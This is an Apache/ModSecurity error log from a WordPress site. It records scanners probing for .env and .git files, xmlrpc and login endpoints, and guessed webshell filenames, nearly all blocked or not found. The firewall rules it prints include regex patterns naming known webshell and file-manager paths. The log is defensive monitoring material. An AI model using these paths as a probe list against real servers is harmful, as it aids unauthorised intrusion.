[Tue Apr 21 17:12:10.233627 2026] [:error] [pid 4777:tid 4806] [client 54.238.71.130:37716] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/apps/.env"] [unique_id "aec_aqxXur6bykKyLZSUBgAAARI"]
[Tue Apr 21 17:12:10.795747 2026] [:error] [pid 53978:tid 54000] [client 54.238.71.130:37754] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "aec_ap1ivsR4hcOSQbbTpQAAApQ"]
[Tue Apr 21 17:12:11.351596 2026] [:error] [pid 53731:tid 53756] [client 54.238.71.130:37784] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/web/.env"] [unique_id "aec_a12I9THUR-bRVGz_UgAAAhQ"]
[Tue Apr 21 17:12:11.914300 2026] [:error] [pid 53978:tid 53989] [client 54.238.71.130:37850] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/site/.env"] [unique_id "aec_a51ivsR4hcOSQbbTrgAAAok"]
[Tue Apr 21 17:12:12.490111 2026] [:error] [pid 53978:tid 54000] [client 54.238.71.130:37902] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/.env"] [unique_id "aec_bJ1ivsR4hcOSQbbTsgAAApQ"]
[Tue Apr 21 17:12:13.050672 2026] [:error] [pid 54080:tid 54093] [client 54.238.71.130:37950] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/.env"] [unique_id "aec_bYzEbQHHxtmWbaaBNQAAAss"]
[Tue Apr 21 19:17:03.799221 2026] [:error] [pid 35321:tid 35385] [client 5.255.99.123:54918] [client 5.255.99.123] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aedcrzeHLhVUuu8cVXxOZQAAAEE"]
[Tue Apr 21 19:17:03.804798 2026] [:error] [pid 35321:tid 35398] [client 5.255.99.123:54936] [client 5.255.99.123] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/HEAD"] [unique_id "aedcrzeHLhVUuu8cVXxOZgAAAE4"]
[Tue Apr 21 19:30:21.921618 2026] [:error] [pid 53832:tid 53853] [client 68.183.193.206:61126] [client 68.183.193.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.193.206, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aedfzdzkuxsE_OhM9UJdrAAAAlI"]
[Tue Apr 21 19:30:21.925566 2026] [:error] [pid 53832:tid 53853] [client 68.183.193.206:61126] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Apr 21 21:00:26.698986 2026] [:error] [pid 54080:tid 54102] [client 2.58.56.211:61068] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Tue Apr 21 21:00:27.714420 2026] [:error] [pid 35320:tid 35353] [client 2.58.56.211:52873] [client 2.58.56.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aed064JW6fdXWO6agMHC2gAAABc"]
[Tue Apr 21 21:00:28.222863 2026] [:error] [pid 4823:tid 4868] [client 2.58.56.211:58121] [client 2.58.56.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aed07Pc8mke3PfHqsxH_mwAAAY8"]
[Tue Apr 21 21:00:28.725810 2026] [:error] [pid 54080:tid 54096] [client 2.58.56.211:62828] [client 2.58.56.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aed07IzEbQHHxtmWbaa5aAAAAs4"]
[Tue Apr 21 21:00:29.738163 2026] [:error] [pid 35321:tid 35404] [client 2.58.56.211:59403] [client 2.58.56.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aed07TeHLhVUuu8cVXyhHgAAAFQ"]
[Tue Apr 21 21:00:30.246412 2026] [:error] [pid 35321:tid 35403] [client 2.58.56.211:64336] File does not exist: /usr/local/apache/htdocs/suspended-page/schallfuns.php
[Tue Apr 21 21:00:30.759509 2026] [:error] [pid 53731:tid 53760] [client 2.58.56.211:52274] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php
[Tue Apr 21 21:13:44.650656 2026] [:error] [pid 35320:tid 35340] [client 35.184.142.175:63701] [client 35.184.142.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.184.142.175, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aed4CIJW6fdXWO6agMHJkQAAAAo"]
[Tue Apr 21 21:13:44.653962 2026] [:error] [pid 35320:tid 35340] [client 35.184.142.175:63701] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Tue Apr 21 21:13:44.871473 2026] [:error] [pid 35320:tid 35333] [client 35.184.142.175:63701] [client 35.184.142.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.184.142.175, counter = 6"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aed4CIJW6fdXWO6agMHJlgAAAAM"]
[Tue Apr 21 21:13:46.706200 2026] [:error] [pid 35321:tid 35398] [client 35.184.142.175:63622] [client 35.184.142.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.184.142.175, counter = 6"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aed4CjeHLhVUuu8cVXyqPQAAAE4"]
[Tue Apr 21 21:13:47.886485 2026] [:error] [pid 35322:tid 35376] [client 35.184.142.175:59048] [client 35.184.142.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.184.142.175, counter = 6"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aed4C6PoAfV40BTfVKzdbgAAAJM"]
[Tue Apr 21 22:53:34.747703 2026] [:error] [pid 35320:tid 35336] [client 34.9.16.187:59969] [client 34.9.16.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.16.187, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeePboJW6fdXWO6agMECkAAAAAY"]
[Tue Apr 21 22:53:34.753186 2026] [:error] [pid 35320:tid 35336] [client 34.9.16.187:59969] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Tue Apr 21 22:53:35.213323 2026] [:error] [pid 35320:tid 35347] [client 34.9.16.187:59969] [client 34.9.16.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeePb4JW6fdXWO6agMEClQAAABE"]
[Wed Apr 22 03:06:37.385118 2026] [:error] [pid 53731:tid 53754] [client 170.0.169.5:59069] [client 170.0.169.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.0.169.5, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aefKvV2I9THUR-bRVGzwgAAAAhI"]
[Wed Apr 22 03:06:37.392978 2026] [:error] [pid 53731:tid 53754] [client 170.0.169.5:59069] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Wed Apr 22 18:11:23.205438 2026] [:error] [pid 6250:tid 6268] [client 176.120.22.46:61190] [client 176.120.22.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.120.22.46, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeieyg-iZeQkqmQVfj7mhQAAAE4"], referer: https://windfarmcoolants.com.au/wp-login.php
[Wed Apr 22 18:11:23.210078 2026] [:error] [pid 6250:tid 6268] [client 176.120.22.46:61190] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://windfarmcoolants.com.au/wp-login.php
[Wed Apr 22 18:11:36.627529 2026] [:error] [pid 6384:tid 6396] [client 178.71.246.200:47574] [client 178.71.246.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.71.246.200, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeie2D58M3t15ICeWHXmLAAAAMk"], referer: https://windfarmcoolants.com.au/xmlrpc.php
[Wed Apr 22 18:11:36.631393 2026] [:error] [pid 6384:tid 6396] [client 178.71.246.200:47574] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://windfarmcoolants.com.au/xmlrpc.php
[Wed Apr 22 20:24:48.504426 2026] [:error] [pid 6384:tid 6396] [client 139.218.216.97:57995] [client 139.218.216.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.218.216.97, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aei-ED58M3t15ICeWHUqUwAAAMk"]
[Wed Apr 22 20:24:48.509105 2026] [:error] [pid 6384:tid 6396] [client 139.218.216.97:57995] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Wed Apr 22 22:09:44.580879 2026] [:error] [pid 6344:tid 6370] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Wed Apr 22 22:09:44.859505 2026] [:error] [pid 6344:tid 6364] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Wed Apr 22 22:09:45.132729 2026] [:error] [pid 6344:tid 6371] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Wed Apr 22 22:09:45.415011 2026] [:error] [pid 6344:tid 6369] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Wed Apr 22 22:09:45.684623 2026] [:error] [pid 6344:tid 6373] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Wed Apr 22 22:09:45.976789 2026] [:error] [pid 6344:tid 6352] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Wed Apr 22 22:09:46.245033 2026] [:error] [pid 6344:tid 6349] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Wed Apr 22 22:09:46.526124 2026] [:error] [pid 6344:tid 6368] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Wed Apr 22 22:09:47.066382 2026] [:error] [pid 6344:tid 6359] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Wed Apr 22 22:09:47.339024 2026] [:error] [pid 6344:tid 6366] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Wed Apr 22 22:09:47.613529 2026] [:error] [pid 6344:tid 6365] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Wed Apr 22 22:09:47.884738 2026] [:error] [pid 6344:tid 6351] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Wed Apr 22 22:09:48.187551 2026] [:error] [pid 6344:tid 6358] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Wed Apr 22 22:09:48.472869 2026] [:error] [pid 6344:tid 6361] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Wed Apr 22 22:09:48.752957 2026] [:error] [pid 6344:tid 6370] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Wed Apr 22 22:09:49.048375 2026] [:error] [pid 6344:tid 6364] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Wed Apr 22 22:09:49.346583 2026] [:error] [pid 6344:tid 6354] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Wed Apr 22 22:09:49.620169 2026] [:error] [pid 6344:tid 6371] [client 45.86.202.43:44269] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Wed Apr 22 22:09:53.557011 2026] [:error] [pid 6344:tid 6371] [client 45.86.202.43:44269] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aejWsUDOTF-pkQnDeUkJdgAAABY"]
[Wed Apr 22 22:09:55.015396 2026] [:error] [pid 6384:tid 6393] [client 45.86.202.13:28985] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aejWsz58M3t15ICeWHVuQgAAAMY"]
[Wed Apr 22 22:09:57.469426 2026] [:error] [pid 9085:tid 9088] [client 45.86.202.7:55165] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Wed Apr 22 22:09:58.315853 2026] [:error] [pid 9085:tid 9099] [client 45.86.202.7:55165] [client 45.86.202.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aejWtt-_-or9vQnlWnqulAAAAUw"]
[Wed Apr 22 22:09:59.436636 2026] [:error] [pid 23776:tid 23789] [client 45.86.202.30:29867] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Wed Apr 22 22:09:59.714677 2026] [:error] [pid 23776:tid 23784] [client 45.86.202.30:29867] [client 45.86.202.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aejWt7RExf-1pAbSeJsTjwAAAYY"]
[Wed Apr 22 22:10:00.658379 2026] [:error] [pid 6250:tid 6260] [client 45.86.202.28:62465] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Wed Apr 22 22:10:02.204952 2026] [:error] [pid 6250:tid 6263] [client 45.86.202.28:62465] [client 45.86.202.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aejWug-iZeQkqmQVfj4hDAAAAEk"]
[Wed Apr 22 22:10:03.085601 2026] [:error] [pid 9085:tid 9093] [client 45.86.202.6:31553] [client 45.86.202.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aejWu9-_-or9vQnlWnqutAAAAUY"]
[Wed Apr 22 22:10:03.678606 2026] [:error] [pid 6250:tid 6269] [client 45.86.202.33:20869] [client 45.86.202.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aejWuw-iZeQkqmQVfj4hDwAAAE8"]
[Wed Apr 22 22:10:05.836283 2026] [:error] [pid 6384:tid 6411] [client 45.86.202.5:64229] [client 45.86.202.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aejWvT58M3t15ICeWHVuawAAANg"]
[Wed Apr 22 22:10:07.590909 2026] [:error] [pid 6251:tid 6288] [client 45.86.202.38:50571] [client 45.86.202.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aejWvysFAzbyObL-SQ6NOgAAAIM"]
[Wed Apr 22 22:10:08.285804 2026] [:error] [pid 6252:tid 6328] [client 45.86.202.24:49693] [client 45.86.202.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aejWwOtGYuiYb1nWBpRe3gAAARA"]
[Wed Apr 22 22:10:09.114888 2026] [:error] [pid 6250:tid 6265] [client 45.86.202.6:26067] [client 45.86.202.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aejWwQ-iZeQkqmQVfj4hGgAAAEs"]
[Wed Apr 22 22:10:09.662160 2026] [:error] [pid 6384:tid 6398] [client 45.86.202.22:37125] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Wed Apr 22 22:10:10.209658 2026] [:error] [pid 6384:tid 6394] [client 45.86.202.22:37125] [client 45.86.202.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aejWwj58M3t15ICeWHVufQAAAMc"]
[Wed Apr 22 22:10:11.330950 2026] [:error] [pid 9085:tid 9099] [client 45.86.202.39:41601] [client 45.86.202.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aejWw9-_-or9vQnlWnquzwAAAUw"]
[Wed Apr 22 22:10:12.226296 2026] [:error] [pid 6250:tid 6275] [client 45.86.202.5:29735] [client 45.86.202.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aejWxA-iZeQkqmQVfj4hHwAAAFU"]
[Wed Apr 22 22:10:12.807221 2026] [:error] [pid 23776:tid 23790] [client 45.86.202.36:60173] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Wed Apr 22 22:10:13.084746 2026] [:error] [pid 23776:tid 23785] [client 45.86.202.36:60173] [client 45.86.202.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aejWxbRExf-1pAbSeJsTuwAAAYc"]
[Wed Apr 22 22:10:14.039476 2026] [:error] [pid 6384:tid 6405] [client 45.86.202.8:36787] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Wed Apr 22 22:10:14.881414 2026] [:error] [pid 6384:tid 6406] [client 45.86.202.8:36787] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Wed Apr 22 22:10:15.774195 2026] [:error] [pid 6384:tid 6410] [client 45.86.202.8:36787] [client 45.86.202.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aejWxz58M3t15ICeWHVuiQAAANc"]
[Wed Apr 22 22:10:17.979872 2026] [:error] [pid 6384:tid 6393] [client 45.86.202.219:42973] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Wed Apr 22 22:10:18.258186 2026] [:error] [pid 6384:tid 6395] [client 45.86.202.219:42973] [client 45.86.202.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aejWyj58M3t15ICeWHVujQAAAMg"]
[Wed Apr 22 22:10:19.685995 2026] [:error] [pid 6384:tid 6387] [client 45.86.202.49:39319] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Wed Apr 22 22:10:20.294832 2026] [:error] [pid 6384:tid 6411] [client 45.86.202.49:39319] [client 45.86.202.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aejWzD58M3t15ICeWHVumAAAANg"]
